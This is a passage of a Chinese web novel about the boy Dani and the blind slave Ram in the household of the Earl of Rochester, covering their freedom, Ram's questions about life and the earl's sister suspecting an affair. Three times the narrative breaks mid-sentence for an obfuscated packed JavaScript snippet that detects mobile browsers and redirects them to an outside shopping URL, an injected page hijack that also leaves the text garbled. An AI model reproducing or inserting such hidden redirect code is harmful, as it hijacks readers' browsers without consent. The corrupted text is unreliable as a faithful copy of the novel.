我以己之名反抗 克缇尔庄园的大门外、仆人库里的身后,停着两辆马车。 在库里的指引下,威尔默特径直上了其中的一辆,待马车关好门后,从拉着垂帘的窗户内将面具扔了出来。 达尼与库里坐在第二辆马车上。 “伯爵似乎很生气……” 库里笑起来,仍然保持着彬彬有礼:“那一定是因为送给尼德兰人太多钱了。或许你知道的,伯爵不喜欢尼德兰人。” 达尼点点头,表示自己知道,然后接着说:“我该怎么做才能让伯爵消气呢?”他担心伯爵的怒火会转而发泄在拉姆先生身上,“如果我给伯爵打一只野兔回来,伯爵会消气吗?” 坐在对面的库里依旧保持着微笑:“你什么都不需要做。过些日子,伯爵会自己哄好自己的。” 达尼这才放下心来。 两辆马车先后在罗切斯特庄园外停下。库里最先下车,来到主人乘坐的马车旁,左手背于身后微微鞠躬,用右手拉开车门。威尔默特穿着皮靴的脚从马车里跨出,踩在地面的同时低头走下来。随后他又转过身,向马车里的人抬起胳膊。 库里识趣地退到一旁。 “拉姆先生!”达尼跑过来站在马车门外对里面的人喊道,声音因高兴而提高,“您还记得我吗?我是达尼。我和您都被罗切斯特伯爵买下了。” 威尔默特不悦地皱皱眉:“不是买,是雇佣。我说过我不需要奴隶。” 达尼立刻改口:“是的先生,是雇佣。我和拉姆先生都被您雇佣下来了。” 听见达尼的声音,车里的拉姆终于睁开双眼,转头朝门外静静看来,片刻后才开口:“达尼……” 这是达尼第一次听见拉姆的声音,在此之前,不管达尼说什么,拉姆从来没有回应过。他欣喜得几乎要冲进马车里抱住拉姆先生了:“是,我是达尼!太好了,您记得我!” “废话可否等回到屋里再聊?”显然,威尔默特的忍耐已经到达极限,“你打算在马车里待到什么时候?难道要让我抱你才肯下来?” 灰白色眼睛上方的长睫毛微微颤动,拉姆总算向威尔默特的手臂伸出手,扶着他走下马车。 库里关上马车的门,对车夫简单交代几句。车夫点点头,驾着马车离开了。 此时月光照下来,简单勾勒出威尔默特他们三人漆黑而模糊的身影。唯独身穿白色希顿的拉姆,彷如与月光辉映般,散发出柔和的浮光。 走在后面的库里心情十分愉快。 拍卖会结束后、在将拉姆送上伯爵家的马车之前,奴隶商花了些心思,特地命人为他换了一身衣裳,方便他之后的行动。这是一种他自认为贴心的服务,为了将值钱的商品以最好的形式送至客户手中。 只不过,他忘记给拉姆穿上鞋子。 “我实在搞不懂他们脑子里肤浅的想法。”走进屋内,威尔默特便甩开拉姆,一面大步朝自己的书房走一面对紧跟其后的库里吩咐,“去,给可怜的拉姆找双合脚的鞋子,再让他把那身过时的衣服脱下来,在我面前至少得穿得正常些。我喜欢独特的人,但不喜欢庸俗的独特,别以为我不知道那个尼德兰人是怎么想我的。‘约翰·威尔默特是个既喜欢女人又喜欢男人的怪胎,瞧瞧他写的那些诗,简直是对神的侮辱,但是感谢老天,这可以让我从他身上大赚一笔’,见鬼去吧,他应该感谢的是我!那是我的钱,可不是老天的!” “是,我一会儿就去为拉姆先生准备。” “还有,明天带他们两个去铁匠那里把脖子上的东西摘掉。狗才需要项圈,人不需要。人需要的是尊重。” “我记下来了。您还有什么别的吩咐吗?” “酒,我要酒,送到我的书房来,然后滚去睡觉。” “我这就去准备。”库里停下脚步目送威尔默特,转身去壁橱拿酒。 将酒送进威尔默特的书房,倒好一杯轻轻放在书桌上,库里正准备退出房间,威尔默特却抬起头指了指他手里的酒瓶。 “放下它,然后你出去。” “是。” 库里安静退出威尔默特的书房,又去为拉姆准备符合威尔默特审美的衣服——普通英格兰人的衣服。 “这些是伯爵为您准备的。”库里将怀中的衣物放在床上,“虽然是一些旧衣服,但都是请有名的裁缝做的,也很干净。” 这里是拉姆的房间,床尾的地方有扇窗户。不过现在天色很晚了,再加上房中的银烛台上插着六只点燃的蜡烛,窗外便只有一片黑色。这间房外,仅用镶嵌着玻璃格子的木板隔开的另一间,则是达尼的卧室。 作为仆人,他们本来不应该有自己的房间,但威尔默特说:我有这么大的庄园,这么多的房间,你们为什么要挤在一块烂木板上? 拉姆坐在床边,伸手摸了摸库里放在他身旁的衣服:“谢谢。” “不用客气。”库里笑着说,转而又对黏着拉姆的达尼说道,“达尼,让拉姆先生早点休息。明天我会带你们出一趟门,你们得在早餐之前起床。” “是,库里先生。”达尼仍旧沉浸在开心中无法自拔,“您不用担心,我不会打扰拉姆先生休息的。” “那就好。祝你们晚安。”库里说完便走出拉姆的房间,又穿过达尼的房间,离开了。 虽然嘴上答应库里先生,但达尼还不想睡觉。他在拉姆身边坐下来:“拉姆先生,我可以再多待一会儿吗?就一会儿。” 拉姆转过头面朝达尼,灰白色的眼珠好似能看见一般:“你想要什么?” “我想和您说会儿话。”达尼有些不好意思,“我一直都很想好好感谢您,感谢您在船上把自己的食物给了我。在我父母死后,您是第一个主动给我食物的人,我非常感谢您。” “感谢……”拉姆呢喃着,垂下了头,“我没做什么值得你感谢的事。只是恰好,把不需要的东西给你了而已。” 达尼疑惑地看着拉姆:“怎么会不需要呢,没有食物会饿死的。” 拉姆张张嘴,最后只轻轻嗯了一声。 “不过船上的东西的确不好吃,船舱里又臭。”达尼晃着两条腿,“但是这里的食物很好吃,有土豆和腌肉。就是不知道船舱里的那些黑皮肤的人现在怎么样了。” “达尼。”拉姆再次向身旁的达尼转过头,“我可以问你一个问题吗?” “当然可以!您想知道什么?” “生命是什么?” “生命?”达尼露出困惑的表情,“我从来没有想过这个问题,所以没办法回答您。” “是吗。”拉姆的脸上仿佛闪过一抹失望。 达尼从床上跳下来,站在拉姆面前:“不过,我会好好思考这个问题的。晚安,拉姆先生。” “嗯,晚安。” 达尼离开的时候带走了放在柜子上的烛台。漆黑的房间里,拉姆的低声呢喃终将被湮没。 生命,究竟是什么? 又为什么,而存在? 这一夜,达尼睡得非常安稳,是自父母被山贼杀害后的第一次安稳。直到鸟儿飞来窗前不停啄着玻璃,直到拉姆换上库里昨夜拿来的衣服和鞋子开门出来,直到庄园的女仆敲响房门,他才睡眼惺忪地坐起来,打了个大大的哈欠。 “早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248786|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拉姆、达尼。” 拉姆给女仆开了门。 “早,拉姆先生、艾米莉亚小姐……” 年轻的女仆穿着灰色的方领长裙,先看了看门边的拉姆,又看了看还在床上的达尼:“库里先生让我来叫你们起床。一会儿你们要出门,他希望你们不要迟到。” “我立刻起来……” 昨晚拉姆先生问他的那个问题,本来是准备等白天休息的时候再思考的,可就在他即将睡着的时候,拉姆先生的声音再一次响起来。 生命是什么? 到底是什么呢?他不禁在心里默念一遍,然后这个问题成了葡萄藤上的蜘蛛网,一圈一圈纠缠着他。于是他失眠到很晚才睡着。 确实是个奇怪的问题。 在厨房旁边的仆人饭厅里吃过早餐,库里便带着拉姆和达尼离开罗切斯特庄园,去找城里的铁匠。临行前他递给拉姆一支木头手杖,称是伯爵的交代。 但拉姆似乎并不需要手杖的辅助,即使他声称自己眼睛看不见——奴隶商安东尼曾经扒开拉姆的眼皮,用锋利的匕首靠近眼珠来确认过,他的确看不见。可走在路上时,无论是地上的路障还是迎面走来的人,拉姆每次都能在不经意间避开。 “你好,弗尔伦先生。”库里走进铁匠铺,与里面的人打招呼,“我需要你的帮助。” 柜台后面的铁匠看向库里身后的拉姆与达尼,问道:“是需要新的项圈吗?” “不,不是。是将他们脖子上的铁环取下来。”库里没有称那个东西为项圈。他拿出一块便士放在柜台上,“取下来的铁环你可以留着做点别的东西。” 铁匠收下柜台上的硬币:“跟我来。” 他走出柜台,撩起旁边的门帘走进去。 里面是储物间,再往里走便是铁匠工作的地方。有燃烧着熊熊烈火的炉子与风箱,年轻的男人正光着上身穿着围裙在捶打。 铁匠走到储物间便停下来,在货架上翻找片刻后拿出一把巨大的钳子,咔咔两声剪断达尼和拉姆脖子上的项圈。 “你们自由了。”铁匠说。 达尼摸着空无一物的脖子,十分开心地向铁匠道谢。虽然被卡尔叔叔卖给奴隶商,但他先遇到拉姆先生,后来又遇到罗切斯特伯爵——是这两位先生给了他重获新生的机会。 走出铁匠铺,库里没有顺着来时的路领着他们往回走:“回去之前再陪我去个地方。” “当然没问题。”达尼的心情非常好,“我们接下来去哪里呢?” “去给伯爵买墨水。” 今天一早威尔默特就在发脾气,因为他的墨水用完了。昨晚,他见过拉姆后,脑子里的单词不断撞向他的脑神经,逼迫他快点写些什么。而正当手里的笔在纸上飞速书写、他的嘴角因为内心的澎湃而上扬时,墨水却没有了。 真该死! 他差点砸了自己的书房。 威尔默特想叫库里立刻去买,大声喊了几次,但门外始终没有传来脚步声。于是他发脾气一般喝光了库里留在桌上的半瓶酒。 “约翰·威尔默特。”拉姆忽然开口,“我听过他的名字。” 库里笑起来:“一定是安东尼先生和你说了不少关于伯爵的事。关于伯爵的流言,只要你们在敦伦待得久了,自然会听见很多。” 拉姆继续平静地说:“我是指他的诗。我曾经听到过他的诗。” 达尼惊讶地睁圆了双眼:“伯爵写的诗?” “啊……”库里的表情变得略有一丝苦涩,“伯爵的诗的确很有名,不过能真正理解他的人很少。讨厌他的人却很多。” 14. 致一位年轻的美人 自从那日听见库里先生和拉姆先生提起伯爵写的诗后,达尼便产生了好奇,总想找到读一读。可伯爵最近大部分时间都待在书房,除了库里先生会送食物美酒进去,其他人都不敢靠近。有一次他悄悄摸到门外,正想推开一条缝偷看,便被库里先生制止了。 “伯爵在写作的时候不喜欢被人打扰。”库里先生将他带去院子,“给花浇浇水吧达尼,如果伯爵看见花心情好,说不定会允许你读他写的诗。” 于是连续几日,达尼都在精心照顾着花园。 以前他在波尔多的家也有一小块花园,平时都是母亲在打理,他只觉得母亲照顾的花真好看,却从来不知道原来管理花园这么费事。 昨日才拔掉的野草今天又长出来。大树上落下的枯叶也是,刚扫干净,只凭一阵风便又飘满地面。 他开始佩服母亲的耐心,也越发想念母亲与曾经的时光。 “达尼,来喝杯茶休息一下。”女仆艾米莉亚提着茶壶,拎着两只杯子走过来。 达尼脱下肥大的皮手套,走到摆在院中的桌椅前坐下来:“谢谢您,艾米莉亚小姐。” 女仆艾米莉亚倒好一杯茶递给达尼,主动聊起来:“达尼,你会写字吗?” “我会写字。” “法语?” “是的。” 艾米莉亚露出笑容,又给自己倒了一杯:“那我可以请你帮我写一封信吗?我想写给我的未婚夫,他是法兰西人,只能看懂法语。” “当然。”果断答应后,达尼迟疑了一下,说,“不过我没有笔也没有纸……但我会问问库里先生,他应该有办法。”他说着,不由自主抬头看向房子二楼——伯爵书房的窗户。 窗户里面有两个人影,他都认识。 艾米莉亚沉浸在喜悦里,没有注意到达尼的目光:“谢谢你,达尼,真的。你不用担心,纸和笔我会准备好的,你只要帮我写信就可以了。” “嗯,好……” “我把茶放在这里,你口渴的时候就过来来喝一口。”她放下自己的茶杯站起身,“我继续去工作了。茶具你放在这里就好,我会来收拾的。达尼?你有听见我在说什么吗?” 达尼猛地收回视线,眨眨眼,木讷回答道:“我知道了,您去忙吧。” 艾米莉亚察觉到达尼的异样,于是弯下腰来看他的表情:“你怎么了?” “伯爵为什么要买下我和拉姆先生呢?”达尼忽然抬头问她。 “为什么买下拉姆我是不知道……”艾米莉亚又坐下来,“但是你,达尼,我猜伯爵是为了保护你才这么做的。” 达尼歪着脑袋,不懂她的意思:“为什么说是保护我?” 艾米莉亚坐正了些:“奴隶船来人的那天,是我端去的茶水,所以我听到了,但我不是故意的——男人告诉伯爵,这次的商船里有一个十三岁的白人少年,那就是你达尼。男人说,现在的人都太听神的话了,以至于男人们少了很多乐子,只能去找妓女,连国王都这么做。可是妓女不干净,很容易得病,不过年纪小的女孩和男孩没这方面的隐患。我想他肯定是听说了伯爵是个风流的人,也喜欢男人,才会这么说的。”她高兴地笑起来,“但是他被伯爵大骂一顿,赶出了庄园。” 达尼惊讶地张大了嘴,似乎已经明白他是被当成什么卖给伯爵的了。 “可是最后伯爵还是让库里先生叫住了男人,把你卖了下来。不然你现在就已经成为某个男人的宠物了。至少伯爵不会那么对你,不是吗,你还是个孩子。” “不过伯爵的确有很多情人。”艾米莉亚看了眼达尼,“其中也包括男人。比如没有演技的罗伯特,只有那张脸好看。” “你是说……伯爵喜欢男人?!”达尼无比震惊,比他的叔叔要将他卖给奴隶商还让他惊讶,“可、可是主不允许发生这样的事,这是有罪的!” “嘘!小点声!”艾米莉亚再次站起来,“我该去干活了。千万不能告诉别人是我说的,不然我可就惨了。” “我、我记住了。”达尼愣愣地保证。 女仆离开后不知道过了多久,达尼再次抬头看向威尔默特的书房,只见窗帘已经被拉上。 不,不可能,伯爵不会那么做。 然而吃过晚饭后,拉姆在库里的带领下去了威尔默特的书房。他刚才抱着库里的胳膊求他带自己一起去,总是面带微笑的库里在那瞬间却像是变了个人,脸色阴沉得可怕,低头拒绝的时候吓得达尼下意识松开手。 “玩一会儿就回房睡觉,听明白了吗?”库里警告道。 达尼愣在原地,没有继续跟上去。 与庄园里的仆人们围着餐桌边吃饭后甜点边聊了会儿天,达尼找借口回到自己的房间,点燃蜡烛蜷缩在床板上发呆。 在这里的每个人,除了伯爵之外的每个人都有自己的分工。比如库里先生,工作是照顾伯爵;比如艾米莉亚小姐,工作是一些厨房里的事;比如他自己,工作是打理花园中的杂草。那拉姆先生分到的工作又是什么呢?在眼睛看不见的情况下,似乎……没有太多可以完成的工作? 房间的门被人从外面打开,是库里送拉姆回来了:“早点休息。” “嗯。”拉姆向送自己回来的库里道谢,然后走过达尼的床前回到自己的房间。 达尼怔怔看着站在门口握住门把的库里,没有搭腔。反倒是库里对他微微一笑:“晚安,达尼,祝你做个好梦。” 仿若傍晚时分那张阴沉的脸是假的。 “晚安……库里先生。”达尼小声回应。 库里贴心地为他们关上房门,离开了。 听着远去的脚步声,达尼转头,透过木板上的玻璃向内屋的拉姆看去,然后走下床站在两间房中间的那道门的门口,试探着问:“拉姆先生,我可以进来可您说说话吗?” “达尼。”正在宽衣的拉姆停下动作,随后一边将外套放在椅子上一边说,“进来吧。你要和我说什么?” 达尼立刻走进来,跟在拉姆身后一同于床边坐下:“下午的时候,我在花园看见您进了伯爵的书房,可是后来窗帘便拉上了。”他意识到自己这么说像是在窥探他们二位的生活,于是立刻补充道,“我听库里先生说,伯爵写作的时候不喜欢有人打扰。所以我担心……您误入了伯爵的书房……” “是伯爵邀请我去的。”拉姆说。 不知道为什么,达尼觉得此刻的拉姆先生变得和之前不一样了。之前的他,是块坚硬的石头,连草都长不上去。而现在的他,就像是草,虽然仍旧冷淡,不过却比石头柔软。达尼直勾勾盯着拉姆的表情,不禁这么想。 “为、为什么伯爵要邀请您去书房呢?” “伯爵说,我能给他带来诗的灵感。” 达尼低着脑袋,脚尖在地板上随意划动:“伯爵没对您做什么,对吗?” 缄默许久,拉姆才说道:“伯爵和别人不一样。” “伯爵的确和别人不太一样。”达尼附和道。 “活到一定年纪或许可以懂得很多道理,但并不是活得越久就越有智慧。相反,有很多最简单的事,却搞不明白了。” 达尼发现自己总是听不懂他们的话,不过他明白了一件事——伯爵没有伤害拉姆先生。 “达尼,还记得我问你生命是什么吗?” “我记得。可我还没有回答您。” 难得拉姆愿意说这么多话:“伯爵回答我,说生命是放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248787|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵、是享受、是去惹人讨厌、招人嫉妒、被人杀死。我以前从未听到过这样的答案,也从未想到竟然有这样的答案。” 这个问题达尼还没有想明白,于是问:“您以前听到过什么样的答案呢?” 拉姆沉默片刻,像是在回忆,接下来才说:“有人说生命是爱,有人说生命是继承……还有人说,只要知道生命为什么存在,就能知道生命是什么。可要是,生命的存在本身并没有任何原因和意义呢?不能证明存在的东西,或许根本就不存在。” 原来伯爵和拉姆先生聊的都是这些么。达尼挠挠脑袋,十分困惑:“抱歉,拉姆先生,我还理解不了这些话的意思。” 拉姆似乎怔了一下,说:“理解不了也没关系,是我说了让你不感兴趣的话题。” “并不是,只要能和拉姆先生聊天,不管是聊什么我都很开心。” 拉姆迟疑着抬起手,在达尼脑袋上方顿住,过后才轻轻落下拍了拍:“谢谢你,达尼。我本来是想……” 达尼咧嘴笑起来,开心地晃着两只脚。 可拉姆接下来的话却令达尼一惊:“是希望自己可以从生命中解脱出来。” “为什么?”他猛然想起了什么,“所以在船上,您是故意不吃东西的?!” 拉姆收回抚摸达尼脑袋的手,点点头:“嗯。” “虽然我现在还无法回答您生命是什么,可能之后我想出来的答案在您看来也很无聊,但、但……”达尼激动得无法好好表达自己想告诉拉姆先生的话。 “一直以来,我都是从别人那里得到答案,今后,我准备自己去思考答案。生命是什么,为什么而存在。” 达尼松了口气:“只要您不寻死就好。那……我准备去睡觉了。晚安,拉姆先生。” “晚安,达尼。” 跑回自己床铺窝进被子的达尼拍拍胸脯。他刚才可是被拉姆先生的话吓得不轻。 但无论如何,拉姆先生都是他的救命恩人,不管未来会出现什么情况,这点绝对不会变。 接下来的日子,拉姆依然会去威尔默特的书房,有时是下午,有时是晚上。达尼曾有一次从书房外经过,趴在门上听见了里面聊天的声音。不过他怕被库里发现,没敢听太久便离开了。 一年有余悄然过去,当达尼正与花坛里的杂草交战时,一辆马车从庄园大门外驶进来,停与房子外的空地上。 听见马蹄声的达尼站起来,走出花坛大声说道:“伯爵不喜欢马车进来,你们快出去!” 马车的车门开了,从里面下来一位年纪与伯爵相仿的年轻妇人,她仰起下巴俯睨着达尼:“你是新来的?约翰没跟你提过我吗?” 达尼摇摇头:“没有。” 他身后房子的大门吱呀一声打开,库里从里面走出来:“玛丽安小姐。”他向少女鞠躬行了一个礼,将没规矩的车夫打发走,“就您一个人来了吗?” 少妇将手中的行李扔给库里,往房子内走:“难道要让伊丽莎白来这里和自己丈夫的情人共进晚餐吗?” 库里皱了下眉头——达尼第一次见他露出这样的表情。 “玛丽安小姐,这一切都是误会。”库里试图解释。 走到大厅里的玛丽安终于停下,转身看着库里:“我可是听说了,约翰花高价从尼德兰人那里买了个年轻漂亮的奴隶藏在家中。让妻子住在乡下,自己却在庄园里和男人快活。天啊,真希望他能像个正常人,别总用自己的才华亵渎神恩。” 库里的眉头依然紧锁:“玛丽安小姐,您不能这么说自己的弟弟。” 玛丽安不在乎他显露出的情绪,看见跟进来的达尼若有所思:“所以,那个疯子终于对孩子下手了吗?” 15. 将自己献祭于你 听从库里的吩咐,达尼前去书房将威尔默特请来客厅。自然,拉姆也随之一起。 “玛丽安,你来之前应该给我写封信。”一进门,威尔默特将这一路上积攒的怨气发泄出来。 玛丽安·李正在喝茶——她是约翰·威尔默特同母异父的姐姐,所以不姓威尔默特。她抬眼瞥向威尔默特时,正好看见一同进来的拉姆,便上下打量起来:“这就是你花了一年收入买回来的情人?确实漂亮。” 威尔默特猛地坐下,又起身整理了一下衣摆,翘起二郎腿臭脸盯着玛丽安:“你来做什么?” 玛丽安放下茶杯:“我本来不打算干涉你的私生活,但这件事已经传开了。母亲和伊丽莎白知道你干出来的混蛋事都很伤心。”她强调,“尤其是伊丽莎白。” 威尔默特挑了一下眉:“比你逃婚私奔的时候还要伤心?我不信。我本来就是个混蛋,她们知道。” “为什么你就不能好好过日子呢?”玛丽安对弟弟那句话充耳不闻,继续质问,“非要把人带回家里来。” “这里是我的庄园,我想让谁住在这里就让谁住在这里。我有这个权利,而你,没有。” 库里亲自给威尔默特泡好一杯茶端过来,放在他面前的茶几上,随后退到达尼与拉姆所站的门旁。 “不能把他送走?”玛丽安问。 “不能。”威尔默特理直气壮地回答,“我喜欢他,他是我创作的灵感,与我共享灵魂的光明与黑暗。我的剧作很快就能完成了。” 玛丽安有些惊讶:“你打算将你那套荒诞的言论搬上舞台?!” 威尔默特端起面前的茶杯,嘴角露出得意的微笑:“为什么不能?观众一定会放声大笑。” “好吧,我实话告诉你。”玛丽安还是对她这个叛逆的弟弟妥协了……一点点,“是伊丽莎白写信给我,请我来这里看看你是怎么回事。你觉得我应该怎么回信告诉她?说传言是真的,你的确有个新情人,而且是男人?” “随你怎么说。”威尔默特满不在乎,只关心杯子里的茶是否会烫到他的舌头。 玛丽安正色看着他:“约翰,你的妻子伊丽莎白很伤心。我认为你不该这么对她。别忘了你还有三个女儿。” “你不知道吗?我是个混蛋。” “请允许我打断二位的谈话。”库里往前来到威尔默特的身旁,双手交叠放在身前,“伯爵与拉姆先生真的只是探讨诗歌,没有做任何出格的事。我用我的生命发誓。” “库里,你的生命并不值钱。”威尔默特像在拆库里的台。 “伯爵!”难得库里竟对威尔默特加重语气,“是误会就应该澄清,这也是为了您和伯爵夫人。” 玛丽安轻轻笑了一下,也端起茶杯喝茶。 威尔默特抬眼看向另一张椅子上的玛丽安:“你打算在这里呆多久?吃饭就不必了,我立刻为你安排马车。” 玛丽安淡定地吹着热茶:“行李我已经让库里拿到我的房间去了。” “你要住下来?!” “我要看看你和你的情人是怎么如胶似漆的。说不定,也能成为我写诗的灵感。”玛丽安笑着看向威尔莫特,随后垂眸喝了口茶。 “老天为什么要让我有个姐姐!” “你什么时候也开始信仰老天了?” 玛丽安住下来的这些日子没有让威尔默特太好过。她总是在拉姆被叫去书房后不久便出现在门外,明知威尔默特不喜欢别人打扰还故意用力敲响书房的门,非要等门打开进去说几句话才罢休。 威尔默特被她这个举动弄得非常崩溃,眼看就要完成的作品迟迟收不了尾。后来他索性让达尼守在门口,只要见到她靠近,就立刻想办法将她弄走——原本这是库里的工作,但庄园里还有其他事物需要库里帮忙处理,所以担子落在达尼身上。 “吃点心吗?”玛丽安端着一盘司康饼走过来。 个头已经超过玛丽安的达尼低头看着她手里的点心,摇摇头:“我不吃,也不会让您进去。” “我知道,所以只是来请你吃司康饼。”见达尼露出疑惑的表情,玛丽安又继续笑着说,“听说你之前的工作是照顾花园?” “是的。” “那你介意陪我去花园里坐坐吗?” 达尼警惕这是玛丽安耍的把戏:“我得守在这里。” “你守在这里是为了不让我进房间。可我要去花园,你还守在这里做什么?” 说得似乎也有道理。达尼犹豫片刻,只好点头答应:“好吧,我可以陪您去花园坐坐。但您得保证,不会借这个机会闯进书房妨碍伯爵。” 玛丽安拿起一块司康放在达尼面前:“我保证。” 去花园的途中,玛丽安叫住一名女仆,吩咐她沏两杯红茶送到花园来。红茶是珍贵的东西,只有上流人士才喝得起,即便是在伯爵家里,仆人们也从来喝不到这种好东西。达尼立刻警觉起来,忍不住猜测玛丽安小姐为他准备红茶的动机。 似乎是看穿了达尼的心思,玛丽安毫不掩饰地承认了:“没错,我是想讨好你,从你这里打听约翰和拉姆的情况,然后拆散他们。” 达尼赶紧解释:“您误会了,伯爵和拉姆先生不是情人关系。” 她走上凉亭,将装着司康饼的盘子放在石头桌上——那上面还有馅饼。看来玛丽安早就已经准备好要将他哄骗至此了。 是的,哄骗。达尼见识过玛丽安小姐的本事,连伯爵在她面前有时候都会吃亏。 “您想和我聊什么?”达尼皱着眉头站在桌边,没有入座。 玛丽安抬头看着他,目光扫过他胸前的十字架时停顿了一下,然后微笑道:“你看过约翰写的诗吗?” 达尼困惑地摇摇头。他一直都想看,可伯爵像是故意捉弄他,至今不允许他阅读。 玛丽安拿出几张纸放在石桌上:“这是他前段时间完成的《柏拉图式的女士》。看完后告诉我感想。” 达尼更加困惑了:“您为什么要让我看伯爵写的诗呢?” “看过之后我想你就明白了。” 尽管达尼之前确实想看伯爵写的诗,可他不希望是在这样的情况下看的。他迟疑一会儿,最终,还是被好奇心打败,拿起手稿坐在石凳上阅读。 恰好此时女仆送来红茶,玛丽安便一边惬意地喝着茶,一边观察达尼的反应。她早已向女仆们打听过了,知道达尼和拉姆是从同一艘奴隶船上来的,虽然可以确定约翰没有对这名少年做什么,但少年很可能知道更多关于拉姆的事。 连她都不禁被拉姆吸引,她不相信在查理二世腐败的统治下,美丽的拉姆没有和约翰发生过什么。毕竟她的那位伯爵弟弟,可是坚定的保王党。 见达尼皱了下眉头,玛丽安立刻问:“怎么了?” 达尼的脸颊微微有些泛红:“我的英语不是太好……有些地方读不懂。” 玛丽安从达尼手中抽走一页纸,朗读起来:“《柏拉图式的女士》,‘我可以爱你至死,只要你爱我分寸得当,此生别逼我给予,超出我心甘情愿付出的分量;这便足以证明我深谙爱的艺术与方长。’下一张。” 达尼将全部的手稿放在石桌上,推给玛丽安。 “‘我厌恶那所谓的【欢愉】,那不过是沉闷的俗事一桩,它抽走所有炽热与鲜活,让欲望只剩空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248788|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壳摸样;恰似蜜蜂失去毒刺,从此沦为慵懒雄峰,不在奔波繁忙。我爱上一个少年,他愿投入我怀中,任我轻柔拥抚,缠绵相傍;轻轻依偎,深情亲吻,我轻声叹息,眼中满是渴望——那些若真得到的东西,我反而会漠然相忘。我愿他自在与我嬉戏,共享这份欢畅。你我彻底自由无拘束,无需越界,已是圆满模样。就让我们这般践行,便会知晓,这才是爱的唯一甜香,’”玛丽安放下这首诗的最后一页纸,“这是就是约翰写的诗,写他是如何抛下妻子,投入拉姆的怀抱。” “可、可是,拉姆先生不是少年……”达尼还在辩解。 “但他年纪并不大,至少看起来比约翰年轻。”玛丽安盯着自己手上另一首诗的手稿,“让我们再来听一听这首诗,是约翰最近才写的《致女人的爱》。” 听见诗名的达尼明显僵了一下。 “‘爱女人?你真是头蠢驴。这欲望乏味透顶, 竟把幸福寄托在 造物主最无用的造物身上。 让门童和马夫—— 那些天生的贱役, 去在美丽的奥蕾莉亚腹中操劳, 为衰老与坟墓添些后嗣。 再见了,女人!我决意 从此每晚与我放荡却和善的友人对坐, 酣饮畅聊,催生出绝妙才思。 赐我健康、财富、欢笑与美酒吧, 若爱神前来搅局, 我身边有个温柔乖巧的侍童, 抵得过四十个浪□□子。’”玛丽安放下手稿看向达尼,意味深长地说,“看来拉姆先生的确是约翰的灵感来源,我现在相信了。” 达尼眉头紧皱,不由得攥紧胸前的十字架;“伯爵怎么能写这样的诗。主说过,结合应该是男女之间……伯爵这么做是错的!” 玛丽安脸上露出一丝轻蔑:“约翰不相信主的存在,当然不会遵循《圣经》规矩行事。而且,拉姆并不是他喜欢的第一个男人。但男人也好,女人也好,他以前最多是在外面鬼混,不会把人带回家里。” “可库里先生说这是误会。”达尼垂下眼眸,“拉姆先生……也没有在伯爵的书房中过夜。” 玛丽安被达尼的话逗笑了:“我也希望是,如果‘罗切斯特伯爵的情人’的传闻没有那么出名的话。” 看见达尼脸上询问的表情,玛丽安端起茶杯喝了口茶,继续说:“是个叫罗伯特的年轻演员,不过他本身不怎么出名,是剧团里的配角,但长得英俊。约翰喜欢看剧目,两个人经常在乔安的酒馆幽会。伊丽莎白就是因为这件事才生气搬回了牛津。” 达尼脸色惨白:“哪怕是真的,可……可也和拉姆先生无关……” 玛丽安意味深长地说:“这件事本身的确与拉姆无关。可,真的吗?” 达尼摇摇头,仍旧不愿意相信:“不会的,不会的……我一直注视着拉姆先生和伯爵,他们之间不可能……” “达尼。”玛丽安打断达尼混乱的思绪,“你以前就认识拉姆先生?”她向达尼投去试探的目光,“他是个什么样的人?” “拉姆先生他……”达尼猛地呆住,他发现自己其实并不了解拉姆先生,“我……我可以肯定,拉姆先生不是、不是伯爵诗上写的这样!” “或许以前不是,今后……谁知道呢。”玛丽安叹口气,从盘子拿起一块司康饼递给达尼,“如果拉姆先生不愿意待在罗切斯特庄园,我想我可以帮他。或许约翰是个出色的诗人,但他也是个混蛋,男人?女人?不,他都不在乎。拉姆先生不应该继续和约翰待在一起。不是吗?” 达尼惊讶地睁大眼睛:“离开罗切斯特庄园……” 16. 永失安宁 房子二楼的书房窗户里,站着一道人影,正注视着凉亭里的玛丽安和达尼。 “库里。”桌前埋头奋笔疾书的威尔默特举起喝空的酒杯,“酒。” “这就来。”库里从窗边走回屋内,接过威尔默特手中的酒杯,倒满三分之二,放回书桌,又转身问一旁的拉姆,“拉姆先生需要酒吗?” 拉姆坐在书架旁边的椅子上,一本摊开的书放于他双膝,他的两只手分别放在书的左右两面,指尖触摸着书上的文字——他在用这种方式进行阅读。虽然不知道失明的他,是如何通过手指感知书中的词句,但奇怪的是,他的确用这种方式知道了上面的内容。 “谢谢。”拉姆拿起小圆桌上的酒杯往前递去。 